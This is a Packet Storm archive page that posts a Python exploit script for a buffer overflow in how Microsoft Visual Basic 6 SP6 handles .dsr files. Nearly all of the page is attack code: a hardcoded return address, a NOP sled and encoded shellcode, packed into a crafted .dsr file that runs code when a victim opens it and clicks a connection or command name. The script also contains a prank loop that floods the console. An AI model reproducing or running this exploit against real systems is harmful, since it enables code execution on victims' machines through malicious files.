exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

msvis-dsr.txt

msvis-dsr.txt
Posted Jan 19, 2008
Authored by shinnai | Site shinnai.altervista.org

Microsoft Visual Basic Enterprise Edition version 6 SP6 .dsr file handling buffer overflow exploit.

tags | exploit, overflow
SHA-256 | 106ce6bde9a3606161a71ede5227c28c721428fe4cb6f33aea861c28e5842d16

msvis-dsr.txt

Change Mirror Download
#usage: exploit.py

import time

print "---------------------------------------------------------------------------"
print ' MS Visual Basic Enterprise Ed. 6 SP6 ".dsr" File Handling Buffer Overflow\n'
print " author: shinnai"
print " mail: shinnai[at]autistici[dot]org"
print " site: http://shinnai.altervista.org\n"
print " Once you create the file, open it with Visual Basic 6 and click on"
print " connection or command name."
print "---------------------------------------------------------------------------"

EIP = "\xFF\xBE\x3F\x7E" #call ESP from user32.dll

nop = "\x90\x90\x90\x90"

shellcode = \
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+\
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+\
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+\
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+\
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"+\
"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47"+\
"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38"+\
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48"+\
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"+\
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"+\
"\x46\x4f\x4b\x43\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58"+\
"\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44"+\
"\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38"+\
"\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"+\
"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47"+\
"\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a"+\
"\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b"+\
"\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33"+\
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37"+\
"\x42\x55\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59"+\
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56"+\
"\x4e\x46\x43\x56\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a"

try:
choice = int(raw_input('Choose 1 for "ConnectionName", 2 for "CommandName" bof or '+\
'3 to quit:\n==> '))
if choice == 1:
buff = 'Connection1' + " " * 559 + EIP + "A" * 12 + nop + shellcode + nop
try:
vb_dsr = \
'VERSION 5.00\n'+\
'Begin {C0E45035-5775-11D0-B388-00A0C9055D8E} DataEnvironment1\n'+\
' ClientHeight = 6315\n'+\
' ClientLeft = 0'+\
' ClientTop = 0\n'+\
' ClientWidth = 7935\n'+\
' _ExtentX = 13996\n'+\
' _ExtentY = 11139\n'+\
' FolderFlags = 1\n'+\
' TypeInfoCookie = 0\n'+\
' Version = 4\n'+\
' NumConnections = 1\n'+\
' BeginProperty Connection1\n'+\
' ConnectionName = "' + buff + '"\n'+\
' ConnDispId = 1001\n'+\
' SourceOfData = 3\n'+\
' QuoteChar = 34\n'+\
' SeparatorChar = 46\n'+\
' EndProperty\n'+\
' NumRecordsets = 0\n'+\
'End' + "\x0D\x0A" #"\x0D\x0A" ==> EOF
out_file = open('ConnectionName.dsr','w')
out_file.write(vb_dsr)
out_file.close()
print "FILE CREATED!"
except:
print "Something wrong in file creation!"
if choice == 2:
buff = 'Command1' + " " * 566 + EIP + "A" * 12 + nop + shellcode + nop
try:
vb_dsr = \
'VERSION 5.00\n'+\
'Begin {C0E45035-5775-11D0-B388-00A0C9055D8E} DataEnvironment1\n'+\
' ClientHeight = 6315\n'+\
' ClientLeft = 0'+\
' ClientTop = 0\n'+\
' ClientWidth = 7935\n'+\
' _ExtentX = 13996\n'+\
' _ExtentY = 11139\n'+\
' FolderFlags = 1\n'+\
' TypeInfoCookie = 0\n'+\
' Version = 4\n'+\
' NumConnections = 1\n'+\
' BeginProperty Connection1\n'+\
' ConnectionName = "Connection1"\n'+\
' ConnDispId = 1001\n'+\
' SourceOfData = 3\n'+\
' QuoteChar = 34\n'+\
' SeparatorChar = 46\n'+\
' EndProperty\n'+\
' NumRecordsets = 1\n'+\
' BeginProperty Recordset1\n'+\
' CommandName = "' + buff + '"\n'+\
' CommDispId = 1002\n'+\
' RsDispId = -1\n'+\
' ActiveConnectionName= "Connection1"\n'+\
' NumFields = 0\n'+\
' NumGroups = 0\n'+\
' ParamCount = 0\n'+\
' RelationCount = 0\n'+\
' AggregateCount = 0\n'+\
' EndProperty\n'+\
'End' + "\x0D\x0A" #"\x0D\x0A" ==> EOF
out_file = open('CommandName.dsr','w')
out_file.write(vb_dsr)
out_file.close()
print "FILE CREATED!"
except:
print "Something wrong in file creation!"
if choice == 3:
print "Be safe!"
if choice !=1 and choice != 2 and choice != 3:
print "D'oh! You MUST choose a value between 1 and 3"
except:
print "mmm... ok, you want it..."
time.sleep(4)
print "London Bridge is falling down,\nFalling down, falling down\nLondon Bridge is falling down\nMy fair lady" * 99999

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close